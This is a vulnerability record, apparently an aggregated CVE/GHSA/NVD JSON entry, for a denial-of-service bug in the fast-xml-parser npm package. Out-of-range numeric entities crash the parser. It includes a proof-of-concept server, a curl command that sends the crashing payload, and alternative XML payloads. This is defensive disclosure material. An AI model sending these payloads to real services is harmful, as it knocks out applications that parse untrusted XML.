{"id":"CVE-2026-25128","aliases":["CVE-2026-25128","GHSA-37qj-frw5-hhjh"],"related":[],"kind":"vulnerability","state":"published","title":"fast-xml-parser has RangeError DoS Numeric Entities Bug","summary":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `&#9999999;` or `&#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 5.0.9 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `&#9999999;` or `&#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nA RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `&#9999999;` or `&#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.\n\n### Details\nThe vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:\n\n```javascript\n\"num_dec\": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },\n\"num_hex\": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },\n```\n\nThe `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:\n- `[0-9]{1,7}` matches up to 9,999,999\n- `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)\n\nThe entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:\n\n```javascript\nval = val.replace(entity.regex, entity.val);\n```\n\nThis causes the RangeError to propagate uncaught, crashing the parser and any application using it.\n### PoC\n#### Setup\n\nCreate a directory with these files:\n\n```\npoc/\n├── package.json\n├── server.js\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"fast-xml-parser\": \"^5.3.3\" } }\n```\n\n**server.js**\n```javascript\nconst http = require('http');\nconst { XMLParser } = require('fast-xml-parser');\n\nconst parser = new XMLParser({ processEntities: true, htmlEntities: true });\n\nhttp.createServer((req, res) => {\n  if (req.method === 'POST' && req.url === '/parse') {\n    let body = '';\n    req.on('data', c => body += c);\n    req.on('end', () => {\n      const result = parser.parse(body);  // No try-catch - will crash!\n      res.end(JSON.stringify(result));\n    });\n  } else {\n    res.end('POST /parse with XML body');\n  }\n}).listen(3000, () => console.log('http://localhost:3000'));\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Send malicious payload (server will crash)\ncurl -X POST -H \"Content-Type: application/xml\" -d '<?xml version=\"1.0\"?><root>&#9999999;</root>' http://localhost:3000/parse\n``` \n#### Result\n\nServer crashes with:\n```\nRangeError: Invalid code point 9999999\n```\n\n#### Alternative Payloads\n\n```xml\n<!-- Hex variant -->\n<?xml version=\"1.0\"?><root>&#xFFFFFF;</root>\n\n<!-- In attribute -->\n<?xml version=\"1.0\"?><root attr=\"&#9999999;\"/>\n```\n\n### Impact\n*Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:\n\n- **API servers** accepting XML payloads\n- **File processors** parsing uploaded XML files\n- **Message queues** consuming XML messages\n- **RSS/Atom feed parsers**\n- **SOAP/XML-RPC services**\n\nA single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.","format":"markdown","source":"ghsa"},{"lang":"es","text":"fast-xml-parser permite a los usuarios validar XML, analizar XML a objeto JS o construir XML desde objeto JS sin librerías basadas en C/C++ y sin callback. En las versiones 4.3.6 a la 5.3.3, existe una vulnerabilidad de tipo RangeError en el procesamiento de entidades numéricas de fast-xml-parser al analizar XML con puntos de código de entidad fuera de rango (p. ej., '?' o '?'). Esto provoca que el analizador lance una excepción no capturada, lo que bloquea cualquier aplicación que procesa entrada XML no confiable. La versión 5.3.4 corrige el problema.","source":"nvd"}],"published":"2026-01-30T15:14:58.244Z","modified":"2026-09-10T03:50:32.638Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-20","CWE-248"],"affected":[{"ranges":[{"version":">= 5.0.9, <= 5.3.3","status":"affected"}],"vendor":"NaturalIntelligence","product":"fast-xml-parser","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"5.0.9","status":"affected","fixed":"5.3.4"}],"ecosystem":"npm","package":"fast-xml-parser","purl":"pkg:npm/fast-xml-parser","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"5.0.9","fixed":"5.3.4"}],"vendor":"naturalintelligence","product":"fast-xml-parser","cpe":"cpe:2.3:a:naturalintelligence:fast-xml-parser:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-37qj-frw5-hhjh","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.4","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25128","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-01-30T15:40:07.179Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25128","url":"https://www.cve.org/CVERecord?id=CVE-2026-25128","licence":"CVE Terms of Use","modified":"2026-02-11T18:38:40.192Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-37qj-frw5-hhjh","url":"https://github.com/advisories/GHSA-37qj-frw5-hhjh","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:32.638Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25128","licence":"Public domain","modified":"2026-06-17T10:24:09.427Z"}],"updatedAt":"2026-11-25T22:59:13.321Z","epss":{"score":0.0083,"percentile":0.58661,"date":"2026-12-01T12:00:22.000Z"}}